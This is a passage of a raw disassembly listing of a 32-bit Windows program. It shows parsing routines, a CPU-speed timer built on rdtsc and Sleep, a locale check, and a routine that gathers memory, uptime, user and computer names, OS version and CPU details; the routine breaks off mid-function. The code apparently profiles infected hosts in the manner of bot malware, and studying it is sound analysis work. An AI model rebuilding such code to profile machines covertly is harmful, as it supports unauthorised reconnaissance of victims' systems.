movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_407CCD
cmp [ebp+arg_8], 0
jz short loc_407CCB
cmp [ebp+var_8], 0
jz short loc_407CCB
loc_407C9C: ; CODE XREF: sub_407C2C:loc_407CC9j
push 1
pop eax
test eax, eax
jz short loc_407CCB
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
and byte ptr [eax], 0
mov eax, [ebp+var_8]
dec eax
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
cmp eax, 20h
jnz short loc_407CC7
cmp [ebp+var_8], 0
jnz short loc_407CC9
loc_407CC7: ; CODE XREF: sub_407C2C+93j
jmp short loc_407CCB
; ---------------------------------------------------------------------------
loc_407CC9: ; CODE XREF: sub_407C2C+99j
jmp short loc_407C9C
; ---------------------------------------------------------------------------
loc_407CCB: ; CODE XREF: sub_407C2C+68j
; sub_407C2C+6Ej ...
jmp short locret_407CD2
; ---------------------------------------------------------------------------
loc_407CCD: ; CODE XREF: sub_407C2C+62j
jmp loc_407C42
; ---------------------------------------------------------------------------
locret_407CD2: ; CODE XREF: sub_407C2C:loc_407CCBj
leave
retn
sub_407C2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407CD4 proc near ; CODE XREF: sub_407D42+5Fp
; sub_407D42+79p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_407CE5
; ---------------------------------------------------------------------------
loc_407CDE: ; CODE XREF: sub_407CD4+68j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_407CE5: ; CODE XREF: sub_407CD4+8j
cmp [ebp+var_4], 4
jge short loc_407D3E
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 2Eh
jnz short loc_407D0E
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
and byte ptr [eax], 0
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
lea eax, [ecx+eax+1]
jmp short locret_407D40
; ---------------------------------------------------------------------------
loc_407D0E: ; CODE XREF: sub_407CD4+23j
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_407D2C
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
and byte ptr [eax], 0
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
jmp short locret_407D40
; ---------------------------------------------------------------------------
loc_407D2C: ; CODE XREF: sub_407CD4+45j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov cl, [ecx]
mov [eax], cl
jmp short loc_407CDE
; ---------------------------------------------------------------------------
loc_407D3E: ; CODE XREF: sub_407CD4+15j
xor eax, eax
locret_407D40: ; CODE XREF: sub_407CD4+38j
; sub_407CD4+56j
leave
retn
sub_407CD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407D42 proc near ; CODE XREF: sub_407F3D+19p
; sub_407F3D+3Fp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ecx
push 2Eh
push [ebp+arg_0]
call sub_4078E6
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 3
jle short loc_407D63
xor eax, eax
jmp locret_407E0A
; ---------------------------------------------------------------------------
loc_407D63: ; CODE XREF: sub_407D42+18j
mov eax, [ebp+arg_10]
and byte ptr [eax], 0
mov eax, [ebp+arg_C]
and byte ptr [eax], 0
mov eax, [ebp+arg_8]
and byte ptr [eax], 0
mov eax, [ebp+arg_4]
and byte ptr [eax], 0
mov eax, [ebp+var_4]
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_407DE9
cmp [ebp+var_8], 1
jz short loc_407DCF
cmp [ebp+var_8], 2
jz short loc_407DB5
cmp [ebp+var_8], 3
jz short loc_407D9B
jmp short loc_407E08
; ---------------------------------------------------------------------------
loc_407D9B: ; CODE XREF: sub_407D42+55j
push [ebp+arg_0]
push [ebp+arg_4]
call sub_407CD4
pop ecx
pop ecx
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 0
jnz short loc_407DB5
xor eax, eax
jmp short locret_407E0A
; ---------------------------------------------------------------------------
loc_407DB5: ; CODE XREF: sub_407D42+4Fj
; sub_407D42+6Dj
push [ebp+arg_0]
push [ebp+arg_8]
call sub_407CD4
pop ecx
pop ecx
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 0
jnz short loc_407DCF
xor eax, eax
jmp short locret_407E0A
; ---------------------------------------------------------------------------
loc_407DCF: ; CODE XREF: sub_407D42+49j
; sub_407D42+87j
push [ebp+arg_0]
push [ebp+arg_C]
call sub_407CD4
pop ecx
pop ecx
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 0
jnz short loc_407DE9
xor eax, eax
jmp short locret_407E0A
; ---------------------------------------------------------------------------
loc_407DE9: ; CODE XREF: sub_407D42+43j
; sub_407D42+A1j
push [ebp+arg_0]
push [ebp+arg_10]
call sub_407CD4
pop ecx
pop ecx
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 0
jnz short loc_407E03
xor eax, eax
jmp short locret_407E0A
; ---------------------------------------------------------------------------
loc_407E03: ; CODE XREF: sub_407D42+BBj
push 1
pop eax
jmp short locret_407E0A
; ---------------------------------------------------------------------------
loc_407E08: ; CODE XREF: sub_407D42+57j
xor eax, eax
locret_407E0A: ; CODE XREF: sub_407D42+1Cj
; sub_407D42+71j ...
leave
retn
sub_407D42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407E0C proc near ; CODE XREF: sub_407F3D+A3p
; sub_407F3D+C1p ...
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 72h
jnz short loc_407E4A
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax+1]
test eax, eax
jnz short loc_407E4A
push 0Ah
push [ebp+arg_C]
push 0FFh
push 0
call sub_4103F5
pop ecx
pop ecx
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
mov eax, [ebp+arg_10]
jmp locret_407F3B
; ---------------------------------------------------------------------------
loc_407E4A: ; CODE XREF: sub_407E0C+Dj
; sub_407E0C+18j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 73h
jz short loc_407E64
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 69h
jnz loc_407EF9
loc_407E64: ; CODE XREF: sub_407E0C+47j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax+1]
test eax, eax
jnz loc_407EF9
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_407EB3
cmp [ebp+arg_10], 0
jz short loc_407EB3
push [ebp+arg_0]
call sub_416B9C ; atoi
pop ecx
movzx eax, al
inc eax
mov [ebp+var_4], al
push 0Ah
push [ebp+arg_C]
movzx eax, [ebp+var_4]
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
movzx eax, [ebp+var_4]
neg eax
sbb eax, eax
inc eax
jmp locret_407F3B
; ---------------------------------------------------------------------------
loc_407EB3: ; CODE XREF: sub_407E0C+6Fj
; sub_407E0C+75j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_407ECC
push [ebp+arg_0]
push [ebp+arg_C]
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_407EF5
; ---------------------------------------------------------------------------
loc_407ECC: ; CODE XREF: sub_407E0C+AFj
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 69h
jnz short loc_407EE8
push offset dword_418F50
push [ebp+arg_C]
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_407EF5
; ---------------------------------------------------------------------------
loc_407EE8: ; CODE XREF: sub_407E0C+C9j
push [ebp+arg_8]
push [ebp+arg_C]
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_407EF5: ; CODE XREF: sub_407E0C+BEj
; sub_407E0C+DAj
xor eax, eax
jmp short locret_407F3B
; ---------------------------------------------------------------------------
loc_407EF9: ; CODE XREF: sub_407E0C+52j
; sub_407E0C+61j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_407F12
push [ebp+arg_4]
push [ebp+arg_C]
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_407F38
; ---------------------------------------------------------------------------
loc_407F12: ; CODE XREF: sub_407E0C+F5j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_407F2B
push [ebp+arg_0]
push [ebp+arg_C]
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_407F38
; ---------------------------------------------------------------------------
loc_407F2B: ; CODE XREF: sub_407E0C+10Ej
push [ebp+arg_8]
push [ebp+arg_C]
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_407F38: ; CODE XREF: sub_407E0C+104j
; sub_407E0C+11Dj
mov eax, [ebp+arg_10]
locret_407F3B: ; CODE XREF: sub_407E0C+39j
; sub_407E0C+A2j ...
leave
retn
sub_407E0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407F3D proc near ; CODE XREF: sub_41349C+192p
; sub_41349C+3DAp
var_44 = byte ptr -44h
var_40 = byte ptr -40h
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_2C = byte ptr -2Ch
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 44h
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_0]
call sub_407D42
add esp, 14h
test eax, eax
jnz short loc_407F69
xor eax, eax
jmp locret_408068
; ---------------------------------------------------------------------------
loc_407F69: ; CODE XREF: sub_407F3D+23j
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_40]
push eax
push [ebp+arg_4]
call sub_407D42
add esp, 14h
test eax, eax
jnz short loc_407F8F
xor eax, eax
jmp locret_408068
; ---------------------------------------------------------------------------
loc_407F8F: ; CODE XREF: sub_407F3D+49j
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_1C]
push eax
push offset dword_41EF48
call sub_407D42
add esp, 14h
test eax, eax
jnz short loc_407FB7
xor eax, eax
jmp locret_408068
; ---------------------------------------------------------------------------
loc_407FB7: ; CODE XREF: sub_407F3D+71j
movsx eax, [ebp+var_14]
test eax, eax
jnz short loc_407FC6
xor eax, eax
jmp locret_408068
; ---------------------------------------------------------------------------
loc_407FC6: ; CODE XREF: sub_407F3D+80j
mov [ebp+var_18], 1
push [ebp+var_18]
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
call sub_407E0C
add esp, 14h
mov [ebp+var_18], eax
push [ebp+var_18]
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_8]
push eax
call sub_407E0C
add esp, 14h
mov [ebp+var_18], eax
push [ebp+var_18]
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_44]
push eax
call sub_407E0C
add esp, 14h
mov [ebp+var_18], eax
push [ebp+var_18]
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_3C]
push eax
call sub_407E0C
add esp, 14h
mov [ebp+var_18], eax
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_20]
push eax
push offset dword_418F54
push [ebp+arg_8]
call sub_416B5E ; sprintf
add esp, 18h
push 1
pop eax
locret_408068: ; CODE XREF: sub_407F3D+27j
; sub_407F3D+4Dj ...
leave
retn
sub_407F3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40806A proc near ; CODE XREF: sub_41349C+12Ap
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_18]
push eax
push [ebp+arg_0]
call sub_407D42
add esp, 14h
test eax, eax
jnz short loc_408096
xor eax, eax
jmp locret_40813A
; ---------------------------------------------------------------------------
loc_408096: ; CODE XREF: sub_40806A+23j
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_41EF48
call sub_407D42
add esp, 14h
test eax, eax
jnz short loc_4080BB
xor eax, eax
jmp short locret_40813A
; ---------------------------------------------------------------------------
loc_4080BB: ; CODE XREF: sub_40806A+4Bj
movsx eax, [ebp+var_18]
test eax, eax
jnz short loc_4080D2
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_18]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_4080D2: ; CODE XREF: sub_40806A+57j
movsx eax, [ebp+var_1C]
test eax, eax
jnz short loc_4080E9
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_1C]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_4080E9: ; CODE XREF: sub_40806A+6Ej
movsx eax, [ebp+var_20]
test eax, eax
jnz short loc_408100
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_20]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_408100: ; CODE XREF: sub_40806A+85j
movsx eax, [ebp+var_4]
test eax, eax
jnz short loc_408117
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_408117: ; CODE XREF: sub_40806A+9Cj
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_18]
push eax
push offset dword_418F54
push [ebp+arg_0]
call sub_416B5E ; sprintf
add esp, 18h
push 1
pop eax
locret_40813A: ; CODE XREF: sub_40806A+27j
; sub_40806A+4Fj
leave
retn
sub_40806A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40813C proc near ; CODE XREF: sub_407928+54p
; sub_407928+9Dp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_0], 0
jz short loc_408150
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_0]
mov [eax], ecx
loc_408150: ; CODE XREF: sub_40813C+Aj
mov eax, [ebp+arg_8]
mov eax, [eax]
mov [ebp+var_8], eax
jmp short loc_408161
; ---------------------------------------------------------------------------
loc_40815A: ; CODE XREF: sub_40813C:loc_4081A0j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_408161: ; CODE XREF: sub_40813C+1Cj
mov eax, [ebp+var_8]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_4081A2
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_408171: ; CODE XREF: sub_40813C+56j
mov eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_408194
mov eax, [ebp+var_4]
movsx eax, byte ptr [eax]
mov ecx, [ebp+var_8]
movsx ecx, byte ptr [ecx]
cmp eax, ecx
jz short loc_408194
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
jmp short loc_408171
; ---------------------------------------------------------------------------
loc_408194: ; CODE XREF: sub_40813C+3Dj
; sub_40813C+4Dj
mov eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_4081A0
jmp short loc_4081A2
; ---------------------------------------------------------------------------
loc_4081A0: ; CODE XREF: sub_40813C+60j
jmp short loc_40815A
; ---------------------------------------------------------------------------
loc_4081A2: ; CODE XREF: sub_40813C+2Dj
; sub_40813C+62j
mov eax, [ebp+var_8]
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_4081AE: ; CODE XREF: sub_40813C:loc_4081F5j
mov eax, [ebp+var_C]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_4081F7
mov eax, [ebp+var_C]
movsx eax, byte ptr [eax]
mov ecx, [ebp+var_4]
movsx ecx, byte ptr [ecx]
cmp eax, ecx
jnz short loc_4081D7
mov eax, [ebp+var_C]
and byte ptr [eax], 0
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
jmp short loc_4081F7
; ---------------------------------------------------------------------------
loc_4081D7: ; CODE XREF: sub_40813C+8Aj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_4081F5
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
loc_4081F5: ; CODE XREF: sub_40813C+AAj
jmp short loc_4081AE
; ---------------------------------------------------------------------------
loc_4081F7: ; CODE XREF: sub_40813C+7Aj
; sub_40813C+99j
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
mov [eax], ecx
mov eax, [ebp+var_8]
sub eax, [ebp+var_C]
neg eax
sbb eax, eax
and eax, [ebp+var_8]
leave
retn
sub_40813C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40820E proc near ; CODE XREF: sub_40821B:loc_408221p
; sub_40821B+1Cp
push ebp
mov ebp, esp
push ebx
push esi
push edi
rdtsc
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40820E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40821B proc near ; CODE XREF: sub_4083AD+3A4p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 20h
loc_408221: ; CODE XREF: sub_40821B+4Aj
; sub_40821B+55j
call sub_40820E
mov [ebp+var_20], eax
mov [ebp+var_1C], edx
push 3E8h
call ds:dword_41709C ; Sleep
call sub_40820E
sub eax, [ebp+var_20]
sbb edx, [ebp+var_1C]
push 0
push 186A0h
push edx
push eax
call sub_416C90
push 0
push 0Ah
push edx
push eax
call sub_416C90
mov [ebp+var_8], eax
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
ja short loc_408221
jb short loc_408272
cmp [ebp+var_8], 0F4240h
ja short loc_408221
loc_408272: ; CODE XREF: sub_40821B+4Cj
push 0
push 64h
push [ebp+var_4]
push [ebp+var_8]
call sub_416C10
mov [ebp+var_18], eax
mov [ebp+var_14], edx
mov [ebp+var_10], 64h
and [ebp+var_C], 0
cmp [ebp+var_14], 0
ja short loc_4082AB
jb short loc_4082A0
cmp [ebp+var_18], 50h
jnb short loc_4082AB
loc_4082A0: ; CODE XREF: sub_40821B+7Dj
mov [ebp+var_10], 4Bh
and [ebp+var_C], 0
loc_4082AB: ; CODE XREF: sub_40821B+7Bj
; sub_40821B+83j
cmp [ebp+var_14], 0
ja short loc_4082C4
jb short loc_4082B9
cmp [ebp+var_18], 47h
jnb short loc_4082C4
loc_4082B9: ; CODE XREF: sub_40821B+96j
mov [ebp+var_10], 42h
and [ebp+var_C], 0
loc_4082C4: ; CODE XREF: sub_40821B+94j
; sub_40821B+9Cj
cmp [ebp+var_14], 0
ja short loc_4082DD
jb short loc_4082D2
cmp [ebp+var_18], 37h
jnb short loc_4082DD
loc_4082D2: ; CODE XREF: sub_40821B+AFj
mov [ebp+var_10], 32h
and [ebp+var_C], 0
loc_4082DD: ; CODE XREF: sub_40821B+ADj
; sub_40821B+B5j
cmp [ebp+var_14], 0
ja short loc_4082F6
jb short loc_4082EB
cmp [ebp+var_18], 26h
jnb short loc_4082F6
loc_4082EB: ; CODE XREF: sub_40821B+C8j
mov [ebp+var_10], 21h
and [ebp+var_C], 0
loc_4082F6: ; CODE XREF: sub_40821B+C6j
; sub_40821B+CEj
cmp [ebp+var_14], 0
ja short loc_40830F
jb short loc_408304
cmp [ebp+var_18], 1Eh
jnb short loc_40830F
loc_408304: ; CODE XREF: sub_40821B+E1j
mov [ebp+var_10], 19h
and [ebp+var_C], 0
loc_40830F: ; CODE XREF: sub_40821B+DFj
; sub_40821B+E7j
cmp [ebp+var_14], 0
ja short loc_408325
jb short loc_40831D
cmp [ebp+var_18], 0Ah
jnb short loc_408325
loc_40831D: ; CODE XREF: sub_40821B+FAj
and [ebp+var_10], 0
and [ebp+var_C], 0
loc_408325: ; CODE XREF: sub_40821B+F8j
; sub_40821B+100j
mov eax, [ebp+var_8]
sub eax, [ebp+var_18]
mov ecx, [ebp+var_4]
sbb ecx, [ebp+var_14]
add eax, [ebp+var_10]
adc ecx, [ebp+var_C]
mov [ebp+var_8], eax
mov [ebp+var_4], ecx
mov eax, [ebp+var_8]
leave
retn
sub_40821B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408342 proc near ; CODE XREF: sub_40D043+156p
; sub_40D871+30Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1Fh
push [ebp+arg_0]
push 7
push 400h
call ds:dword_417034 ; GetLocaleInfoA
neg eax
sbb eax, eax
neg eax
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
and byte ptr [eax+3], 0
cmp [ebp+var_4], 0
jz short loc_408381
push offset dword_419100
push [ebp+arg_0]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_4083A8
loc_408381: ; CODE XREF: sub_408342+2Aj
push 1Fh
push [ebp+arg_0]
push 7
push 800h
call ds:dword_417034 ; GetLocaleInfoA
neg eax
sbb eax, eax
neg eax
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
and byte ptr [eax+3], 0
mov eax, [ebp+var_4]
jmp short locret_4083AB
; ---------------------------------------------------------------------------
loc_4083A8: ; CODE XREF: sub_408342+3Dj
push 1
pop eax
locret_4083AB: ; CODE XREF: sub_408342+64j
leave
retn
sub_408342 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4083AD proc near ; DATA XREF: sub_4087C4+35o
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_73C = dword ptr -73Ch
var_738 = dword ptr -738h
var_734 = byte ptr -734h
var_72C = dword ptr -72Ch
var_728 = dword ptr -728h
var_714 = dword ptr -714h
var_710 = dword ptr -710h
var_70C = dword ptr -70Ch
var_708 = byte ptr -708h
var_6F0 = dword ptr -6F0h
var_6EC = dword ptr -6ECh
var_6E8 = dword ptr -6E8h
var_6E4 = dword ptr -6E4h
var_6E0 = byte ptr -6E0h
var_6D0 = dword ptr -6D0h
var_6CC = dword ptr -6CCh
var_6C8 = byte ptr -6C8h
var_524 = dword ptr -524h
var_520 = dword ptr -520h
var_51C = dword ptr -51Ch
var_518 = dword ptr -518h
var_514 = dword ptr -514h
var_510 = dword ptr -510h
var_50C = byte ptr -50Ch
var_48C = dword ptr -48Ch
var_488 = dword ptr -488h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = byte ptr -47Ch
var_409 = byte ptr -409h
var_408 = byte ptr -408h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 750h
push ebx
push esi
push edi
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_6CC]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_734]
push eax
call ds:dword_4170C4 ; GlobalMemoryStatus
mov eax, [ebp+var_72C]
add eax, 100000h
shr eax, 14h
mov [ebp+var_6F0], eax
mov eax, [ebp+var_728]
add eax, 100000h
shr eax, 14h
mov [ebp+var_738], eax
call sub_4092A4
mov [ebp+var_714], eax
mov eax, [ebp+var_714]
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_6E8], eax
mov eax, [ebp+var_714]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov [ebp+var_524], eax
mov eax, [ebp+var_714]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov eax, edx
xor edx, edx
push 3Ch
pop ecx
div ecx
mov [ebp+var_6E4], eax
mov [ebp+var_8], 15h
mov [ebp+var_6D0], 10h
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_708]
push eax
call ds:dword_417018 ; GetUserNameA
lea eax, [ebp+var_6D0]
push eax
lea eax, [ebp+var_6E0]
push eax
call ds:dword_417078 ; GetComputerNameA
mov [ebp+var_520], 94h
push 24h
pop ecx
xor eax, eax
lea edi, [ebp+var_51C]
rep stosd
lea eax, [ebp+var_520]
push eax
call ds:dword_417030 ; GetVersionExA
mov [ebp+var_48C], offset a? ; "?"
mov [ebp+var_710], offset aNoSp ; "no SP"
cmp [ebp+var_51C], 4
jnz short loc_408522
cmp [ebp+var_518], 0
jnz short loc_408522
cmp [ebp+var_510], 1
jnz short loc_40850A
mov [ebp+var_48C], offset a95 ; "95"
loc_40850A: ; CODE XREF: sub_4083AD+151j
cmp [ebp+var_510], 2
jnz short loc_40851D
mov [ebp+var_48C], offset aNt ; "NT"
loc_40851D: ; CODE XREF: sub_4083AD+164j
jmp loc_4085B6
; ---------------------------------------------------------------------------
loc_408522: ; CODE XREF: sub_4083AD+13Fj
; sub_4083AD+148j
cmp [ebp+var_51C], 4
jnz short loc_408540
cmp [ebp+var_518], 0Ah
jnz short loc_408540
mov [ebp+var_48C], offset a98 ; "98"
jmp short loc_4085B6
; ---------------------------------------------------------------------------
loc_408540: ; CODE XREF: sub_4083AD+17Cj
; sub_4083AD+185j
cmp [ebp+var_51C], 4
jnz short loc_40855E
cmp [ebp+var_518], 5Ah
jnz short loc_40855E
mov [ebp+var_48C], offset aMe ; "ME"
jmp short loc_4085B6
; ---------------------------------------------------------------------------
loc_40855E: ; CODE XREF: sub_4083AD+19Aj
; sub_4083AD+1A3j
cmp [ebp+var_51C], 5
jnz short loc_40857C
cmp [ebp+var_518], 0
jnz short loc_40857C
mov [ebp+var_48C], offset a2000 ; "2000"
jmp short loc_4085B6
; ---------------------------------------------------------------------------
loc_40857C: ; CODE XREF: sub_4083AD+1B8j
; sub_4083AD+1C1j
cmp [ebp+var_51C], 5
jnz short loc_40859A
cmp [ebp+var_518], 1
jnz short loc_40859A
mov [ebp+var_48C], offset aXp ; "XP"
jmp short loc_4085B6
; ---------------------------------------------------------------------------
loc_40859A: ; CODE XREF: sub_4083AD+1D6j
; sub_4083AD+1DFj
cmp [ebp+var_51C], 5
jnz short loc_4085B6
cmp [ebp+var_518], 2
jnz short loc_4085B6
mov [ebp+var_48C], offset a2003 ; "2003"
loc_4085B6: ; CODE XREF: sub_4083AD:loc_40851Dj
; sub_4083AD+191j ...
cmp [ebp+var_510], 2
jnz short loc_4085D6
movsx eax, [ebp+var_50C]
test eax, eax
jz short loc_4085D6
lea eax, [ebp+var_50C]
mov [ebp+var_710], eax
loc_4085D6: ; CODE XREF: sub_4083AD+210j
; sub_4083AD+21Bj
call sub_40435B
test eax, eax
jz short loc_4085EB
mov [ebp+var_744], offset aYes ; "Yes"
jmp short loc_4085F5
; ---------------------------------------------------------------------------
loc_4085EB: ; CODE XREF: sub_4083AD+230j
mov [ebp+var_744], offset aNo ; "No"
loc_4085F5: ; CODE XREF: sub_4083AD+23Cj
mov eax, [ebp+var_744]
mov [ebp+var_4], eax
and [ebp+var_47C], 0
and [ebp+var_409], 0
xor eax, eax
cpuid
mov [ebp+var_488], ebx
mov [ebp+var_484], edx
mov [ebp+var_480], ecx
lea eax, [ebp+var_488]
mov [ebp+var_6EC], eax
and [ebp+var_70C], 0
lea eax, [ebp+var_70C]
push eax
push 20019h
push 0
push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
push 80000002h
call ds:dword_417008 ; RegOpenKeyExA
test eax, eax
